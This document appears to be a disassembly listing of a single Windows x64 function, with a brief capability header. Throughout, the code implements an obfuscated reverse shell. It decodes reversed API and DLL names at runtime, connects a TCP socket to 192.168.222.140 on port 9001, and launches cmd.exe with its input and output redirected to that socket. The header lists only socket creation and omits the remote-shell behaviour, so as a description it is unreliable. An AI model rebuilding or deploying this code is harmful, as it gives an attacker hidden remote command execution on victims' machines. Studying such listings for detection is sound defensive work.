Function at 0x140001120
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
sub rsp, 0x2f8
mov rax, qword [0x140022380]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
lea rdx, str.WSAStartup__WSASocket__WSAConnect_functions_will_using_for_socket_but_if_you_want_you_can_use_linux_funcs_for_that
lea rcx, [0x1400241c0]
call fcn.140002670
lea rdx, [0x1400241c0]
lea rcx, str.allfuncs:__s_n
call fcn.140002610
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.So_many_functions_valid_in_kernel32.dll_and_ws2_32.dll
lea rcx, [0x1400242c0]
call fcn.140002670
lea rdx, [0x1400242c0]
lea rcx, str.firststep:__s_n
call fcn.140002610
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.lld.23lenrek
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x1d0], eax
lea rdx, [0x1400220d4]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x98], eax
lea rdx, [0x1400220d8]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x9c], eax
lea rdx, [0x1400220dc]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xa0], eax
lea rdx, [0x1400220e0]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xa4], eax
lea rdx, [0x1400220e4]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xa8], eax
lea rdx, [0x1400220e8]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xac], eax
lea rdx, [0x1400220ec]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xb0], eax
lea rdx, [0x1400220f0]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xb4], eax
lea rdx, [0x1400220f4]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xb8], eax
lea rdx, [0x1400220f8]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xbc], eax
lea rdx, [0x1400220fc]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x1d0]
mov dword [rsp + 0x68], ecx
mov ecx, dword [rsp + 0x98]
mov dword [rsp + 0x60], ecx
mov ecx, dword [rsp + 0x9c]
mov dword [rsp + 0x58], ecx
mov ecx, dword [rsp + 0xa0]
mov dword [rsp + 0x50], ecx
mov ecx, dword [rsp + 0xa4]
mov dword [rsp + 0x48], ecx
mov ecx, dword [rsp + 0xa8]
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0xac]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rsp + 0xb0]
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0xb4]
mov dword [rsp + 0x28], ecx
mov ecx, dword [rsp + 0xb8]
mov dword [rsp + 0x20], ecx
mov ecx, dword [rsp + 0xbc]
mov r9d, ecx
mov r8d, eax
lea rdx, [0x140022100]
lea rcx, [0x140024160]
call fcn.140002670
lea rdx, [0x140024160]
lea rcx, str.kernel:__s_n
call fcn.140002610
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.lld.23_2sw
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xc0], eax
lea rdx, [0x140022130]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xc4], eax
lea rdx, [0x140022134]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xc8], eax
lea rdx, [0x140022138]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xcc], eax
lea rdx, [0x14002213c]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xd0], eax
lea rdx, [0x140022140]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xd4], eax
lea rdx, [0x140022144]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xd8], eax
lea rdx, [0x140022148]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xdc], eax
lea rdx, [0x14002214c]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xe0], eax
lea rdx, [0x140022150]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0xc0]
mov dword [rsp + 0x58], ecx
mov ecx, dword [rsp + 0xc4]
mov dword [rsp + 0x50], ecx
mov ecx, dword [rsp + 0xc8]
mov dword [rsp + 0x48], ecx
mov ecx, dword [rsp + 0xcc]
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0xd0]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rsp + 0xd4]
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0xd8]
mov dword [rsp + 0x28], ecx
mov ecx, dword [rsp + 0xdc]
mov dword [rsp + 0x20], ecx
mov ecx, dword [rsp + 0xe0]
mov r9d, ecx
mov r8d, eax
lea rdx, str._c_c_c_c_c_c_c_c_c_c
lea rcx, [0x140024140]
call fcn.140002670
lea rcx, [0x140024160]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x1f0], rax
lea rcx, [0x140024140]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x1f0], 0
je 0x1400024c5
cmp qword [rsp + 0x90], 0
je 0x1400024c5
lea rdx, str.putratSASW
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xe4], eax
lea rdx, [0x140022174]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xe8], eax
lea rdx, [0x140022178]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xec], eax
lea rdx, [0x14002217c]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xf0], eax
lea rdx, [0x140022180]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xf4], eax
lea rdx, [0x140022184]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xf8], eax
lea rdx, [0x140022188]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0xfc], eax
lea rdx, [0x14002218c]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x100], eax
lea rdx, [0x140022190]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x104], eax
lea rdx, [0x140022194]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0xe4]
mov dword [rsp + 0x58], ecx
mov ecx, dword [rsp + 0xe8]
mov dword [rsp + 0x50], ecx
mov ecx, dword [rsp + 0xec]
mov dword [rsp + 0x48], ecx
mov ecx, dword [rsp + 0xf0]
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0xf4]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rsp + 0xf8]
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0xfc]
mov dword [rsp + 0x28], ecx
mov ecx, dword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov ecx, dword [rsp + 0x104]
mov r9d, ecx
mov r8d, eax
lea rdx, [0x140022198]
lea rcx, [rsp + 0x200]
call fcn.140002670
lea rdx, [rsp + 0x200]
mov rcx, qword [rsp + 0x90]
call section..text
mov qword [rsp + 0x1d8], rax
cmp qword [rsp + 0x1d8], 0
je 0x140001846
lea rdx, [0x1400243e0]
mov cx, 0x202
call qword [rsp + 0x1d8]
nop
lea rdx, str.tekcoSASW
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x108], eax
lea rdx, [0x1400221b4]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x10c], eax
lea rdx, [0x1400221b8]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x110], eax
lea rdx, [0x1400221bc]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x114], eax
lea rdx, [0x1400221c0]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x118], eax
lea rdx, [0x1400221c4]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x11c], eax
lea rdx, [0x1400221c8]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x120], eax
lea rdx, [0x1400221cc]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x124], eax
lea rdx, [0x1400221d0]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x108]
mov dword [rsp + 0x50], ecx
mov ecx, dword [rsp + 0x10c]
mov dword [rsp + 0x48], ecx
mov ecx, dword [rsp + 0x110]
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x114]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rsp + 0x118]
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x11c]
mov dword [rsp + 0x28], ecx
mov ecx, dword [rsp + 0x120]
mov dword [rsp + 0x20], ecx
mov ecx, dword [rsp + 0x124]
mov r9d, ecx
mov r8d, eax
lea rdx, str._c_c_c_c_c_c_c_c_c
lea rcx, [rsp + 0x220]
call fcn.140002670
lea rdx, [rsp + 0x220]
mov rcx, qword [rsp + 0x90]
call section..text
mov qword [rsp + 0x1e0], rax
cmp qword [rsp + 0x1e0], 0
jne 0x140001a54
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov qword [0x140024578], rax
jmp 0x140001a85
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [rsp + 0x1e0]
mov qword [0x140024578], rax
lea rdx, str.How_to_convert_type_of_IP_addresses_like__192.168.222.140__172.16.5.20__10.0.2.5x
lea rcx, [0x140024240]
call fcn.140002670
lea rdx, [0x140024240]
lea rcx, str.secondstep:__s_n
call fcn.140002610
lea rdx, str.041.222.861.291
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x128], eax
lea rdx, [0x14002225c]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x12c], eax
lea rdx, [0x140022260]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x130], eax
lea rdx, [0x140022264]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x134], eax
lea rdx, [0x140022268]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x138], eax
lea rdx, [0x14002226c]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x13c], eax
lea rdx, [0x140022270]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x140], eax
lea rdx, [0x140022274]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x144], eax
lea rdx, [0x140022278]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x148], eax
lea rdx, [0x14002227c]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x14c], eax
lea rdx, [0x140022280]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x150], eax
lea rdx, [0x140022284]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x154], eax
lea rdx, [0x140022288]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x158], eax
lea rdx, [0x14002228c]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x15c], eax
lea rdx, [0x140022290]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x128]
mov dword [rsp + 0x80], ecx
mov ecx, dword [rsp + 0x12c]
mov dword [rsp + 0x78], ecx
mov ecx, dword [rsp + 0x130]
mov dword [rsp + 0x70], ecx
mov ecx, dword [rsp + 0x134]
mov dword [rsp + 0x68], ecx
mov ecx, dword [rsp + 0x138]
mov dword [rsp + 0x60], ecx
mov ecx, dword [rsp + 0x13c]
mov dword [rsp + 0x58], ecx
mov ecx, dword [rsp + 0x140]
mov dword [rsp + 0x50], ecx
mov ecx, dword [rsp + 0x144]
mov dword [rsp + 0x48], ecx
mov ecx, dword [rsp + 0x148]
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x14c]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rsp + 0x150]
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x154]
mov dword [rsp + 0x28], ecx
mov ecx, dword [rsp + 0x158]
mov dword [rsp + 0x20], ecx
mov ecx, dword [rsp + 0x15c]
mov r9d, ecx
mov r8d, eax
lea rdx, str._c_c_c_c_c_c_c_c_c_c_c_c_c_c_c
lea rcx, [0x140024180]
call fcn.140002670
lea rcx, [0x140024180]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x1400243d4], eax
mov eax, 2
mov word [0x1400243d0], ax
mov cx, 0x2329
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x1400243d2], ax
lea rdx, str.tcennoCASW
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x160], eax
lea rdx, [0x1400222bc]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x164], eax
lea rdx, [0x1400222c0]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x168], eax
lea rdx, [0x1400222c4]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x16c], eax
lea rdx, [0x1400222c8]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x170], eax
lea rdx, [0x1400222cc]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x174], eax
lea rdx, [0x1400222d0]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x178], eax
lea rdx, [0x1400222d4]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x17c], eax
lea rdx, [0x1400222d8]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x180], eax
lea rdx, [0x1400222dc]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x160]
mov dword [rsp + 0x58], ecx
mov ecx, dword [rsp + 0x164]
mov dword [rsp + 0x50], ecx
mov ecx, dword [rsp + 0x168]
mov dword [rsp + 0x48], ecx
mov ecx, dword [rsp + 0x16c]
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x170]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rsp + 0x174]
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x178]
mov dword [rsp + 0x28], ecx
mov ecx, dword [rsp + 0x17c]
mov dword [rsp + 0x20], ecx
mov ecx, dword [rsp + 0x180]
mov r9d, ecx
mov r8d, eax
lea rdx, [0x1400222e0]
lea rcx, [rsp + 0x260]
call fcn.140002670
lea rdx, [rsp + 0x260]
mov rcx, qword [rsp + 0x90]
call section..text
mov qword [rsp + 0x1e8], rax
cmp qword [rsp + 0x1e8], 0
je 0x1400024c5
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x10
lea rdx, [0x1400243d0]
mov rcx, qword [0x140024578]
call qword [rsp + 0x1e8]
mov r8d, 0x68
xor edx, edx
lea rcx, [0x140024360]
call fcn.140015d20
mov dword [0x140024360], 0x68
mov dword [0x14002439c], 0x100
mov rax, qword [0x140024578]
mov qword [0x1400243b8], rax
mov rax, qword [0x1400243b8]
mov qword [0x1400243c0], rax
mov rax, qword [0x1400243c0]
mov qword [0x1400243b0], rax
lea rdx, str.AssecorPetaerC
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x184], eax
lea rdx, [0x1400222fc]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x188], eax
lea rdx, [0x140022300]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x18c], eax
lea rdx, [0x140022304]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x190], eax
lea rdx, [0x140022308]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x194], eax
lea rdx, [0x14002230c]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x198], eax
lea rdx, [0x140022310]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x19c], eax
lea rdx, [0x140022314]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x1a0], eax
lea rdx, [0x140022318]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x1a4], eax
lea rdx, [0x14002231c]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x1a8], eax
lea rdx, [0x140022320]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x1ac], eax
lea rdx, [0x140022324]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x1b0], eax
lea rdx, [0x140022328]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x1b4], eax
lea rdx, [0x14002232c]
lea rcx, [0x1400241c0]
call fcn.140005e00
lea rcx, [0x1400241c0]
movsx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x184]
mov dword [rsp + 0x78], ecx
mov ecx, dword [rsp + 0x188]
mov dword [rsp + 0x70], ecx
mov ecx, dword [rsp + 0x18c]
mov dword [rsp + 0x68], ecx
mov ecx, dword [rsp + 0x190]
mov dword [rsp + 0x60], ecx
mov ecx, dword [rsp + 0x194]
mov dword [rsp + 0x58], ecx
mov ecx, dword [rsp + 0x198]
mov dword [rsp + 0x50], ecx
mov ecx, dword [rsp + 0x19c]
mov dword [rsp + 0x48], ecx
mov ecx, dword [rsp + 0x1a0]
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x1a4]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rsp + 0x1a8]
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x1ac]
mov dword [rsp + 0x28], ecx
mov ecx, dword [rsp + 0x1b0]
mov dword [rsp + 0x20], ecx
mov ecx, dword [rsp + 0x1b4]
mov r9d, ecx
mov r8d, eax
lea rdx, [0x140022330]
lea rcx, [rsp + 0x2a0]
call fcn.140002670
lea rdx, [rsp + 0x2a0]
mov rcx, qword [rsp + 0x1f0]
call section..text
mov qword [rsp + 0x1f8], rax
lea rdx, str.exe.dmc
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x1b8], eax
lea rdx, [0x140022354]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x1bc], eax
lea rdx, [0x140022358]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x1c0], eax
lea rdx, [0x14002235c]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x1c4], eax
lea rdx, [0x140022360]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x1c8], eax
lea rdx, [0x140022364]
lea rcx, [0x1400242c0]
call fcn.140005e00
lea rcx, [0x1400242c0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x1cc], eax
lea rdx, [0x140022368]
lea rcx, [0x140024240]
call fcn.140005e00
lea rcx, [0x140024240]
movsx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x1b8]
mov dword [rsp + 0x40], ecx
mov ecx, dword [rsp + 0x1bc]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rsp + 0x1c0]
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x1c4]
mov dword [rsp + 0x28], ecx
mov ecx, dword [rsp + 0x1c8]
mov dword [rsp + 0x20], ecx
mov ecx, dword [rsp + 0x1cc]
mov r9d, ecx
mov r8d, eax
lea rdx, str._c_c_c_c_c_c_c
lea rcx, [rsp + 0x240]
call fcn.140002670
cmp qword [rsp + 0x1f8], 0
je 0x1400024c5
lea rax, [0x140024340]
mov qword [rsp + 0x48], rax
lea rax, [0x140024360]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x240]
xor ecx, ecx
call qword [rsp + 0x1f8]
xor ecx, ecx
call fcn.1400064d8
nop
xor eax, eax
mov rcx, qword [rsp + 0x2e0]
xor rcx, rsp
call fcn.140002750
add rsp, 0x2f8
ret